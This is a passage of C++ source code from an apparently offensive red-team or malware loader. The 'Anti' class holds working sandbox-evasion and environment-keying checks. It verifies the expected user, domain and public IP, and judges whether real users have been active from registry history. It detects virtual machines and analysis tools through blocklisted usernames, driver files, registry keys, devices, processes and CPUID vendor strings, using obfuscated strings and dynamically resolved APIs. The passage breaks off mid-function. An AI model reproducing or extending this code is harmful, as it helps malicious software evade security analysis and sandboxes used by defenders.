        verbose(OBF(L"[-] USER-NAME: Could not get user name (5): "), GetLastError());
        return {};
    }
    
    return std::wstring(user);
}

bool Anti::validateUsername(const std::wstring& expectedUsername)
{
    const auto username = getUserName();
    if (stringicompare(username, expectedUsername))
    {
        info(OBF(L"[+] USER-NAME: Check satisifed. Running as expected user."));
        return true;
    }
    else
    {
        info(OBF(L"[-] USER-NAME: Check NOT satisifed. Running as an unexpected user."));
        return false;
    }
}

bool Anti::checkIfJoinedToSpecificDomain(const std::wstring& domainName, bool silent)
{
    if (checkIfDomainJoined(true))
    {
        // Technique 1
        DWORD bufSize = MAX_PATH;
        wchar_t domainName1[MAX_PATH];

        RESOLVE(kernel32, GetComputerNameExW);
        _GetComputerNameExW(ComputerNameDnsDomain, domainName1, &bufSize);

        // Technique 2
        auto domainName2 = getDomainName();

        if (!stringicompareWildcard(domainName.c_str(), domainName1) && !stringicompareWildcard(domainName.c_str(), domainName2.c_str()))
        {
            if(!silent) info(OBF(L"[-] DOMAIN-CHECK2: Machine is connected to a different than expected domain: ("), domainName1, OBF(L") != ("), domainName, OBF(L")"));
            return false;
        }

        if (!silent) info(OBF(L"[+] DOMAIN-CHECK2: Computer is joined to expected domain value: "), domainName1);
        return true;
    }

    if (!silent) info(OBF(L"[-] DOMAIN-CHECK2: Computer is not domain-joined."));
    return false;
}

bool Anti::verifyInternetConnectivity()
{
    if (!verifyInternetConnectivity(Internet_Connectivity_Verification_URL, Internet_Connectivity_Verification_Regex))
    {
        info(OBF(L"[-] CONNECTIVITY-CHECK: Could not validate unobstructed network connectivity."));
        return false;
    }
    else
    {
        info(OBF(L"[+] CONNECTIVITY-CHECK: Machine is able to reach the Internet."));
        return true;
    }
}

bool Anti::verifyInternetConnectivity(const std::wstring& url, const std::wstring regexToMatch)
{
    std::vector<uint8_t> buffer;
    if (!downloadResource(url, buffer))
    {
        verbose(OBF(L"[-] CONNECTIVITY-CHECK: Could not download internet resource."));
        return false;
    }

    if (buffer.size() == 0)
    {
        verbose(OBF(L"[-] CONNECTIVITY-CHECK: Could not download internet resource (2)."));
        return false;
    }

    std::wstring out(buffer.begin(), buffer.end());
    buffer.clear();

    if (!regexToMatch.empty())
    {
        std::wregex rex(regexToMatch, std::regex_constants::ECMAScript | std::regex_constants::icase);
        std::wsmatch m;
        if (std::regex_search(out, m, rex))
        {
            bool ok = true;
            if (regexToMatch == Internet_Connectivity_Verification_Regex)
            {
                if (m.size() >= 2)
                {
                    auto a = m[1].str();
                    wchar_t* ptr;
                    float pressure = wcstof(a.c_str(), &ptr);

                    ok = (pressure > 960.0 && pressure < 1040.0);

                    if (!ok)
                    {
                        info(OBF(L"[-] CONNECTIVITY-CHECK: Could not validate expected air pressure value in London! Extracted value: "), pressure);
                    }
                }
            }

            if (ok)
            {
                info(OBF(L"[+] CONNECTIVITY-CHECK: Successfully validated internet access against:\n\t("), url, OBF(L")"));
            }

            return ok;
        }
        else
        {
            info(OBF(L"[-] CONNECTIVITY-CHECK: Could not validate expected contents of downloaded resource."));
            return false;
        }
    }
    else
    {
        info(OBF(L"[+] CONNECTIVITY-CHECK: Successfully validated internet connectivity:\n\t("), url, OBF(L")"));
        return true;
    }
}

bool Anti::validatePublicIP(const std::wstring& expectedIp)
{
    std::vector<uint8_t> buffer;
    if (!downloadResource(OBFI(L"https://ipecho.net/plain"), buffer))
    {
        verbose(OBF(L"[-] PUBLIC-IP-CHECK: Could retrieve public IPv4 address."));
        return false;
    }

    std::wstring out(buffer.begin(), buffer.end());
    buffer.clear();

    if (out.compare(expectedIp) != 0)
    {
        verbose(OBF(L"[-] PUBLIC-IP-CHECK: Public IP does not correspond to the expected IP value."));
        return false;
    }
    else
    {
        verbose(OBF(L"[+] PUBLIC-IP-CHECK: Public IP corresponds to the expected IP value."));
        return true;
    }
}

uint32_t Anti::countRegistryValues(const std::wstring& registryPath)
{
    auto[key, path] = crackRegistryPath(registryPath);
    HKEY currentKey;

    RESOLVE(Advapi32, RegOpenKeyExW);
    if (ERROR_SUCCESS != _RegOpenKeyExW(key, path.c_str(), 0, KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE, &currentKey))
    {
        verbose(OBF(L"[-] Could not open specified registry path: ("), registryPath, OBF(L"). Error: "), GetLastError());
        return 0;
    }

    uint32_t count = 0;
    wchar_t name[1024];
    DWORD size = 1024;

    RESOLVE(Advapi32, RegEnumValueW);
    while (ERROR_SUCCESS == _RegEnumValueW(currentKey, static_cast<DWORD>(count), name, &size, nullptr, nullptr, nullptr, nullptr))
    {
        size = 1024;
        ++count;
    }

    RESOLVE(Advapi32, RegCloseKey);
    _RegCloseKey(currentKey);

    return count;
}

uint32_t Anti::countRegistryKeys(const std::wstring& registryPath)
{
    auto[key, path] = crackRegistryPath(registryPath);
    HKEY currentKey;

    RESOLVE(Advapi32, RegOpenKeyExW);
    if (ERROR_SUCCESS != _RegOpenKeyExW(key, path.c_str(), 0, KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE, &currentKey))
    {
        verbose(OBF(L"[-] Could not open specified registry path: ("), registryPath, OBF(L"). Error: "), GetLastError());
        return 0;
    }

    uint32_t count = 0;
    wchar_t name[1024];
    DWORD size = 1024;

    RESOLVE(Advapi32, RegEnumKeyExW);
    while (ERROR_SUCCESS == _RegEnumKeyExW(currentKey, count, name, &size, nullptr, nullptr, nullptr, nullptr))
    {
        size = 1024;
        ++count;
    }

    RESOLVE(Advapi32, RegCloseKey);
    _RegCloseKey(currentKey);

    return count;
}

std::pair<HKEY, std::wstring> Anti::crackRegistryPath(const std::wstring& registryPath)
{
    HKEY key;
    std::wstring path;

    if (registryPath.rfind(OBFI(L"HKEY_CURRENT_USER"), 0) == 0)
    {
        key = HKEY_CURRENT_USER;
        path = std::wstring(registryPath, wcslen(OBFI(L"HKEY_CURRENT_USER")) + 1);
    }
    else if (registryPath.rfind(OBFI(L"HKEY_LOCAL_MACHINE"), 0) == 0)
    {
        key = HKEY_LOCAL_MACHINE;
        path = std::wstring(registryPath, wcslen(OBFI(L"HKEY_LOCAL_MACHINE")) + 1);
    }
    else if (registryPath.rfind(OBFI(L"HKEY_CLASSES_ROOT"), 0) == 0)
    {
        key = HKEY_CLASSES_ROOT;
        path = std::wstring(registryPath, wcslen(OBFI(L"HKEY_CLASSES_ROOT")) + 1);
    }
    else if (registryPath.rfind(OBFI(L"HKEY_CURRENT_CONFIG"), 0) == 0)
    {
        key = HKEY_CURRENT_CONFIG;
        path = std::wstring(registryPath, wcslen(OBFI(L"HKEY_CURRENT_CONFIG")) + 1);
    }
    else if (registryPath.rfind(OBFI(L"HKCU"), 0) == 0)
    {
        key = HKEY_CURRENT_USER;
        path = std::wstring(registryPath, wcslen(OBFI(L"HKCU")) + 1);
    }
    else if (registryPath.rfind(OBFI(L"HKLM"), 0) == 0)
    {
        key = HKEY_LOCAL_MACHINE;
        path = std::wstring(registryPath, wcslen(OBFI(L"HKLM")) + 1);
    }
    else if (registryPath.rfind(OBFI(L"HKCR"), 0) == 0)
    {
        key = HKEY_CLASSES_ROOT;
        path = std::wstring(registryPath, wcslen(OBFI(L"HKCR")) + 1);
    }
    else if (registryPath.rfind(OBFI(L"HKCC"), 0) == 0)
    {
        key = HKEY_CURRENT_CONFIG;
        path = std::wstring(registryPath, wcslen(OBFI(L"HKCC")) + 1);
    }
    else
    {
        verbose(OBF(L"[-] Invalid registry root key specified: ("), registryPath, OBF(L")"));
        return { 0, L"" };
    }

    return make_pair(key, path);
}

uint32_t Anti::countFiles(const std::wstring& pathWithWildcard, bool includeDirectories)
{
    WIN32_FIND_DATAW findData = { 0 };

    RESOLVE(kernel32, FindFirstFileW);

    HANDLE out = _FindFirstFileW(pathWithWildcard.c_str(), &findData);

    if (INVALID_HANDLE_VALUE == out)
    {
        verbose(OBF(L"[-] Could not enumerate given path: ("), pathWithWildcard, OBF(L"). Error: "), GetLastError());
        return 0;
    }

    RESOLVE(kernel32, FindNextFileW);
    uint32_t count = 0;
    do
    {
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY && !includeDirectories)
        {
            continue;
        }
        
        count++;

    } while (_FindNextFileW(out, &findData) != 0);

    CloseHandle(out);

    return count;
}

bool Anti::verifyRecentUserActivity()
{
    bool ret = true;
    const size_t runmru = countRegistryValues(OBFI(L"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"));

    if (runmru < level * Minimum_Recent_Documents_Expected)
    {
        verbose(OBF(L"[-] USER-ACTIVITY1: There were too few RunMRU entries to consider environment safe: "), 
            runmru, OBF(L" / "), level * Minimum_Recent_Documents_Expected);
        ret &= false;
    }
    
    if (level >= 2)
    {
        const std::vector<std::wstring> commonExtensions = {
        OBFI(L"docx"),
        OBFI(L"xlsx"),
        OBFI(L"zip"),
        OBFI(L"pdf"),
        OBFI(L"jpg"),
        OBFI(L"doc"),
        };

        size_t totalCount = 0;
        for (auto ext : commonExtensions)
        {
            const std::wstring path = std::wstring(OBFI(L"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSavePidlMRU\\")) + ext;
            totalCount += countRegistryValues(path);
        }

        if (totalCount < level * Minimum_Recent_Documents_Expected * (commonExtensions.size() / 2))
        {
            verbose(OBF(L"[-] USER-ACTIVITY2: There were too few recent documents choosen in Open/Save dialog to consider environment safe.: "), 
                totalCount, OBF(L" / "), level * Minimum_Recent_Documents_Expected * (commonExtensions.size() / 2));
            ret &= false;
        }

        const size_t lastvisitedmru = countRegistryValues(OBFI(L"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\LastVisitedPidlMRU"));
        if (lastvisitedmru < level * Minimum_Last_Visited_Directories_Expected)
        {
            verbose(OBF(L"[-] USER-ACTIVITY3: There were too few last visited directories entries to consider environment safe: "),
                lastvisitedmru, OBF(L" / "), level * Minimum_Last_Visited_Directories_Expected);
            ret &= false;
        }
    }

    const size_t recentdocs = countRegistryValues(OBFI(L"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs"));
    if (recentdocs < level * 3 * Minimum_Recent_Documents_Expected)
    {
        verbose(OBF(L"[-] USER-ACTIVITY4: There were too few recent documents to consider environment safe: "),
            recentdocs, OBF(L" / "), level * 3 * Minimum_Recent_Documents_Expected);
        ret &= false;
    }

    if (level >= 2)
    {
        const size_t usbdevices = countRegistryKeys(OBFI(L"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\USB"));
        bool pred = true;

        if (level >= 2) pred = usbdevices > 0;
        if (level >= 3) pred = true;

        if (pred && usbdevices < level * Minimum_USB_Devices_Plugged)
        {
            verbose(OBF(L"[-] USER-ACTIVITY5: There were too few USB devices plugged in the past to consider environment safe: "),
                usbdevices, OBF(L" / "), level * Minimum_USB_Devices_Plugged);
            ret &= false;
        }
    }

    return ret;
}

bool Anti::checkHarddriveName(const std::wstring& s)
{
    GUID guid;

    RESOLVE(setupapi, SetupDiGetClassDevsW);
    HDEVINFO hDevs = _SetupDiGetClassDevsW(
        &guid,  // GUID_DEVCLASS(DEVINTERFACE)_DISKDRIVE
        NULL,
        NULL,
        DIGCF_PRESENT);

    RESOLVE(setupapi, SetupDiEnumDeviceInfo);
    SP_DEVINFO_DATA devinfo = { 0 };

    _SetupDiEnumDeviceInfo(
        hDevs,
        0,
        &devinfo);  // PSP_DEVINFO_DATA

    RESOLVE(setupapi, SetupDiGetDeviceRegistryPropertyW);
    DWORD tmp = 0, tmp2 = 0;
    wchar_t szFriendlyName[512] = L"";

    _SetupDiGetDeviceRegistryPropertyW(
        hDevs,
        &devinfo,
        SPDRP_FRIENDLYNAME,
        &tmp,
        reinterpret_cast<PBYTE>(szFriendlyName),  // HDD name will be here
        _countof(szFriendlyName),
        &tmp2);

    return stringicompare(std::wstring(szFriendlyName), s);
}

std::wstring Anti::GetHDDVendorId()
{
    RESOLVE(kernel32, CreateFileW);
    HANDLE hDevice = _CreateFileW(OBFI(L"\\\\.\\PhysicalDrive0"),
        0,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        0,
        OPEN_EXISTING,
        0,
        0);

    if (hDevice == INVALID_HANDLE_VALUE)
        return L"";

    STORAGE_PROPERTY_QUERY storage_property_query = {};
    storage_property_query.PropertyId = StorageDeviceProperty;
    storage_property_query.QueryType = PropertyStandardQuery;
    STORAGE_DESCRIPTOR_HEADER storage_descriptor_header = {};
    DWORD BytesReturned = 0;

    RESOLVE(kernel32, DeviceIoControl);

    if (!_DeviceIoControl(hDevice, IOCTL_STORAGE_QUERY_PROPERTY,
        &storage_property_query, sizeof(storage_property_query),
        &storage_descriptor_header, sizeof(storage_descriptor_header),
        &BytesReturned, NULL)) {

        CloseHandle(hDevice);
        return L"";
    }
    if (!BytesReturned) {
        CloseHandle(hDevice);
        return L"";
    }

    std::vector<char> buff(storage_descriptor_header.Size); //_STORAGE_DEVICE_DESCRIPTOR
    if (!_DeviceIoControl(
        hDevice, 
        IOCTL_STORAGE_QUERY_PROPERTY,
        &storage_property_query, 
        sizeof(storage_property_query),
        buff.data(), 
        static_cast<DWORD>(buff.size()), 
        &BytesReturned, 
        NULL
    )) {
        CloseHandle(hDevice);
        return L"";
    }

    CloseHandle(hDevice);

    if (BytesReturned) {
        STORAGE_DEVICE_DESCRIPTOR* device_descriptor = (STORAGE_DEVICE_DESCRIPTOR*)buff.data();

        char vendorId[512] = { 0 };

        if (device_descriptor->VendorIdOffset)
        {
            strncpy_s(vendorId, &buff[device_descriptor->VendorIdOffset], _countof(vendorId));
        }

        std::string s(vendorId);
        return std::wstring(s.begin(), s.end());
    }

    return L"";
}

bool Anti::checkDirectoryExists(const std::wstring& path)
{
    wchar_t out[1024] = L"";

    RESOLVE(kernel32, ExpandEnvironmentStringsW);
    _ExpandEnvironmentStringsW(path.c_str(), out, _countof(out));
    DWORD dwAttrib = GetFileAttributes(out);
    return (dwAttrib != INVALID_FILE_ATTRIBUTES) && (dwAttrib & FILE_ATTRIBUTE_DIRECTORY);
}

bool Anti::checkFileExists(const std::wstring& path)
{
    wchar_t out[1024] = L"";
    RESOLVE(kernel32, ExpandEnvironmentStringsW);
    ExpandEnvironmentStringsW(path.c_str(), out, _countof(out));
    DWORD dwAttrib = GetFileAttributes(out);
    return (dwAttrib != INVALID_FILE_ATTRIBUTES) && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY);
}

bool Anti::checkRegKeyExists(const std::wstring& path)
{
    auto [key, regpath] = crackRegistryPath(path);
    HKEY currentKey;

    RESOLVE(Advapi32, RegOpenKeyExW);
    RESOLVE(advapi32, RegCloseKey);

    if (ERROR_SUCCESS != _RegOpenKeyExW(key, regpath.c_str(), 0, KEY_READ, &currentKey))
    {
        if (ERROR_SUCCESS != _RegOpenKeyExW(key, regpath.c_str(), 0, KEY_READ | KEY_WOW64_64KEY, &currentKey))
        {
            return false;
        }
    }

    _RegCloseKey(currentKey);
    return true;
}

bool Anti::openDevice(const std::wstring& lpDeviceName)
{
    OBJECT_ATTRIBUTES attr;
    IO_STATUS_BLOCK iost;
    UNICODE_STRING uDevName;
    HANDLE hDevice;
    NTSTATUS Status;
    hDevice = NULL;

    RESOLVE(ntdll, NtCreateFile);
    RESOLVE(ntdll, RtlInitUnicodeString);

    // Will not resolve RtlSecureZeroMemory. Don't use RESOLVER here.
    RtlSecureZeroMemory(&uDevName, sizeof(uDevName));
    _RtlInitUnicodeString(&uDevName, lpDeviceName.c_str());
    InitializeObjectAttributes(&attr, &uDevName, OBJ_CASE_INSENSITIVE, 0, NULL);

    Status = _NtCreateFile(&hDevice, GENERIC_READ, &attr, &iost, NULL, 0,
        0, FILE_OPEN, 0, NULL, 0);

    return NT_SUCCESS(Status);
}

std::vector<std::wstring> Anti::collectRunningProcessNames()
{
    HANDLE hSnapshot;
    PROCESSENTRY32W pe = {};

    std::vector<std::wstring> names;

    pe.dwSize = sizeof(pe);
    bool present = false;

    RESOLVE(kernel32, CreateToolhelp32Snapshot);
    RESOLVE(kernel32, Process32FirstW);
    RESOLVE(kernel32, Process32NextW);

    hSnapshot = _CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot == INVALID_HANDLE_VALUE)
        return {};

    if (_Process32FirstW(hSnapshot, &pe)) {
        do {
            names.push_back(std::wstring(pe.szExeFile));

        } while (_Process32NextW(hSnapshot, &pe));
    }
    CloseHandle(hSnapshot);

    return names;
}

std::vector<std::wstring> Anti::getCpuidVendorData()
{
    //
    // https://docs.microsoft.com/pl-pl/cpp/intrinsics/cpuid-cpuidex?view=vs-2019
    //

    //int cpuInfo[4] = {-1};
    std::array<int, 4> cpui;

    // Calling __cpuid with 0x0 as the function_id argument
    // gets the number of the highest valid function ID.
    __cpuid(cpui.data(), 0);
    int nIds_ = cpui[0];

    std::vector<std::array<int, 4>> data_;
    std::vector<std::array<int, 4>> extdata_;

    std::string vendor_;

    for (int i = 0; i <= nIds_; ++i)
    {
        __cpuidex(cpui.data(), i, 0);
        data_.push_back(cpui);
    }

    // Capture vendor string
    char vendor[0x20];
    memset(vendor, 0, sizeof(vendor));
    *reinterpret_cast<int*>(vendor) = data_[0][1];
    *reinterpret_cast<int*>(vendor + 4) = data_[0][3];
    *reinterpret_cast<int*>(vendor + 8) = data_[0][2];

    vendor_ = vendor;

    // Calling __cpuid with 0x80000000 as the function_id argument
            // gets the number of the highest valid extended ID.
    __cpuid(cpui.data(), 0x80000000);
    int nExIds_ = cpui[0];

    std::string brand_;
    char brand[0x40];
    memset(brand, 0, sizeof(brand));

    for (int i = 0x80000000; i <= nExIds_; ++i)
    {
        __cpuidex(cpui.data(), i, 0);
        extdata_.push_back(cpui);
    }

    // Interpret CPU brand string if reported
    if (nExIds_ >= 0x80000004)
    {
        memcpy(brand, extdata_[2].data(), sizeof(cpui));
        memcpy(brand + 16, extdata_[3].data(), sizeof(cpui));
        memcpy(brand + 32, extdata_[4].data(), sizeof(cpui));
        brand_ = brand;
    }

    std::vector<std::wstring> out;

    out.push_back(std::wstring(vendor_.begin(), vendor_.end()));
    out.push_back(std::wstring(brand_.begin(), brand_.end()));

    return out;
}

bool Anti::antiVM()
{
    bool ret = true;

    // First: unsafe usernames
    std::vector<std::wstring> Unsafe_Usernames = {
        OBFI(L"admin"),
        OBFI(L"vagrant"),
        OBFI(L"andy"),
        OBFI(L"honey"),
        OBFI(L"john"),
        OBFI(L"john doe"),
        OBFI(L"malnetvm"),
        OBFI(L"maltest"),
        OBFI(L"malware"),
        OBFI(L"roo"),
        OBFI(L"sandbox"),
        OBFI(L"box"),
        OBFI(L"sample"),
        OBFI(L"snort"),
        OBFI(L"tequilaboomboom"),
        OBFI(L"test"),
        OBFI(L"virus"),
        OBFI(L"virusclone"),
        OBFI(L"wilbert"),
        OBFI(L"nepenthes"),
        OBFI(L"currentuser"),
        OBFI(L"username"),
        OBFI(L"user"),
        OBFI(L"vmware"),
    };

    bool once = false;
    auto username = getUserName();

    for (const auto& a : Unsafe_Usernames)
    {
        if (stringicompare(a, username))
        {
            ret &= false;
            if (!once) { verbose(OBF(L"[-] ANTI-VM1: Username found pointing at VM environment: "), a); once = true;}
        }
    }

    // Second: Check if os was boot from virtual hard disk
    RESOLVE(kernel32, IsNativeVhdBoot);
    BOOL out = false;
    _IsNativeVhdBoot(&out);

    if (out)
    {
        ret &= false;
        verbose(OBF(L"[-] ANTI-VM2: Looks like we're running in an OS ran from a VHD."));
    }

    // Third: Check HDD name and Vendor ID
    std::vector<std::wstring> VM_Fingerprints = {
        OBFI(L"VBOX"),
        OBFI(L"Virtualbox"),
        OBFI(L"QEMU"),
        OBFI(L"BOCHS"),
        OBFI(L"VMware"),
        OBFI(L"Virtual PC"),
        OBFI(L"VirtualPC"),
        OBFI(L"Parallels"),
        OBFI(L"Virtual HD"),
        OBFI(L"VirtualHD"),
        OBFI(L"Xen")
    };

    auto vendorId = GetHDDVendorId();
    once = false;
    for (const auto& a : VM_Fingerprints)
    {
        if (Anti::checkHarddriveName(a))
        {
            ret &= false;
            if (!once) { verbose(OBF(L"[-] ANTI-VM2: HDD name points at VM software: "), a); once = true; }
        }

        if (stringicompare(a, vendorId))
        {
            ret &= false;
            if (!once) { verbose(OBF(L"[-] ANTI-VM2: HDD Vendor ID points at VM software: "), a); once = true; }
        }
    }

    // Fourth: VM software files leftovers
    std::vector<std::wstring> Virtualization_Software_Files = {
        OBFI(L"%SystemRoot%\\system32\\drivers\\prleth.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\prlfs.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\prlmouse.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\prlvideo.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\prltime.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\prl_pv32.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\prl_paravirt_32.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\VBoxMouse.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\VBoxGuest.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\VBoxSF.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\VBoxVideo.sys"),
        OBFI(L"%SystemRoot%\\system32\\vboxdisp.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxhook.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxmrxnp.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxogl.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxoglarrayspu.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxoglcrutil.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxoglerrorspu.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxoglfeedbackspu.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxoglpackspu.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxoglpassthroughspu.dll"),
        OBFI(L"%SystemRoot%\\system32\\vboxservice.exe"),
        OBFI(L"%SystemRoot%\\system32\\vboxtray.exe"),
        OBFI(L"%SystemRoot%\\system32\\VBoxControl.exe"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\vmsrvc.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\vpc-s3.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\vmmouse.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\vmnet.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\vmxnet.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\vmhgfs.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\vmx86.sys"),
        OBFI(L"%SystemRoot%\\system32\\drivers\\hgfs.sys")
    };

    once = false;
    for (const auto& a : Virtualization_Software_Files)
    {
        if (Anti::checkFileExists(a))
        {
            ret &= false;
            if (!once) { verbose(OBF(L"[-] ANTI-VM3: VM software file leftovers detected: "), a); once = true; }
        }
    }

    std::vector<std::wstring> Virtualization_Software_Reg_Keys = {
        OBFI(L"HKLM\\SOFTWARE\\Microsoft\\Hyper-V"),
        OBFI(L"HKLM\\SOFTWARE\\Microsoft\\VirtualMachine"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmicheartbeat"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmicvss"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmicshutdown"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmicexchange"),
        OBFI(L"HKLM\\SYSTEM\\CurrentControlSet\\Services\\SbieDrv"),
        OBFI(L"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Sandboxie"),
        OBFI(L"HKLM\\HARDWARE\\ACPI\\DSDT\\VBOX__"),
        OBFI(L"HKLM\\HARDWARE\\ACPI\\FADT\\VBOX__"),
        OBFI(L"HKLM\\HARDWARE\\ACPI\\RSDT\\VBOX__"),
        OBFI(L"HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest Additions"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\VBoxGuest"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\VBoxMouse"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\VBoxService"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\VBoxSF"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\VBoxVideo"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vpcbus"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vpc-s3"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vpcuhub"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\msvmmouf"),
        OBFI(L"HKCU\\SOFTWARE\\VMware, Inc.\\VMware Tools"),
        OBFI(L"HKLM\\SOFTWARE\\VMware, Inc.\\VMware Tools"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmdebug"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmmouse"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\VMTools"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\VMMEMCTL"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmware"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmci"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\vmx86"),
        OBFI(L"HKCU\\SOFTWARE\\Wine"),
        OBFI(L"HKLM\\SOFTWARE\\Wine"),
        OBFI(L"HKLM\\HARDWARE\\ACPI\\DSDT\\xen"),
        OBFI(L"HKLM\\HARDWARE\\ACPI\\FADT\\xen"),
        OBFI(L"HKLM\\HARDWARE\\ACPI\\RSDT\\xen"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\xenevtchn"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\xennet"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\xennet6"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\xensvc"),
        OBFI(L"HKLM\\SYSTEM\\ControlSet001\\Services\\xenvdb")
    };

    once = false;
    for (const auto& a : Virtualization_Software_Reg_Keys)
    {
        if (Anti::checkRegKeyExists(a))
        {
            ret &= false;
            if (!once) { verbose(OBF(L"[-] ANTI-VM4: VM software registry leftovers detected: "), a); once = true; }
        }
    }

    std::vector<std::wstring> Virtualization_Software_Devices = {
        OBFI(L"\\\\.\\VBoxMiniRdDN"),
        OBFI(L"\\\\.\\VBoxMiniRdrDN"),
        OBFI(L"\\\\.\\VBoxGuest"),
        OBFI(L"\\\\.\\VBoxTrayIPC"),
        OBFI(L"\\\\.\\VBoxMouse"),
        OBFI(L"\\\\.\\VBoxVideo"),
        OBFI(L"\\\\.\\HGFS"),
        OBFI(L"\\\\.\\vmci"),
        OBFI(L"\\\\.\\pipe\\VBoxMiniRdDN"),
        OBFI(L"\\\\.\\pipe\\VBoxTrayIPC")
    };

    once = false;
    for (const auto& a : Virtualization_Software_Devices)
    {
        if (Anti::openDevice(a))
        {
            ret &= false;
            if (!once) { verbose(OBF(L"[-] ANTI-VM5: VM software device could be opened: "), a); once = true; }
        }
    }

    std::vector<std::wstring> Virtualization_Software_Processes = {
        OBFI(L"joeboxserver.exe"),
        OBFI(L"joeboxcontrol.exe"),
        OBFI(L"prl_cc.exe"),
        OBFI(L"prl_tools.exe"),
        OBFI(L"vboxservice.exe"),
        OBFI(L"vboxtray.exe"),
        OBFI(L"vmsrvc.exe"),
        OBFI(L"vmusrvc.exe"),
        OBFI(L"vmtoolsd.exe"),
        OBFI(L"vmacthlp.exe"),
        OBFI(L"vmwaretray.exe"),
        OBFI(L"vmwareuser.exe"),
        OBFI(L"vmware.exe"),
        OBFI(L"vmount2.exe"),
        OBFI(L"xenservice.exe"),
        OBFI(L"xsvc_depriv.exe"),
        OBFI(L"WPE Pro.exe")
    };

    auto processes = collectRunningProcessNames();

    once = false;
    for (const auto& a : Virtualization_Software_Processes)
    {
        if (std::find_if(processes.begin(), processes.end(), [&a](const std::wstring& p) { return stringicompare(p, a);}) != processes.end())
        {
            ret &= false;
            if (!once) { verbose(OBF(L"[-] ANTI-VM6: VM software running process detected: "), a); once = true; }
        }
    }

    // Validate CPU & hardware
    std::vector<std::wstring> Virtualization_Software_Cpu_Vendors = {
        OBFI(L"bhyve bhyve"),
        OBFI(L"Microsoft Hv"),
        OBFI(L"KVMKVMKVM"),
        OBFI(L"prl hyperv"),
        OBFI(L"VBoxVBoxVBox"),
        OBFI(L"VMwareVMware"),
        OBFI(L"XenVMMXenVMM")
    };

    auto outs = getCpuidVendorData();

    once = false;
    for (const auto& a : outs)
    {
        for (const auto &b : Virtualization_Software_Cpu_Vendors)
        {
            if(stringicompare(a, b))
            {
                ret &= false;
                if (!once) { verbose(OBF(L"[-] ANTI-VM7: CPUID returned vendor name of known VM platform: "), a); once = true; }
            }
        }

        for (const auto &b : VM_Fingerprints)
        {
            if (a.find(b) != std::wstring::npos)
            {
                ret &= false;
                if (!once) { verbose(OBF(L"[-] ANTI-VM7B: CPUID returned vendor name of generic VM fingerprint: "), a); once = true; }
            }
        }
    }

    // Check CPUID(1) -> ECX 31th bit, pointing at Hypervisor information.
    std::array<int, 4> cpui;
    __cpuid(cpui.data(), 1);

    if ((cpui[2] & 0x80000000) != 0)
    {
        ret &= false;
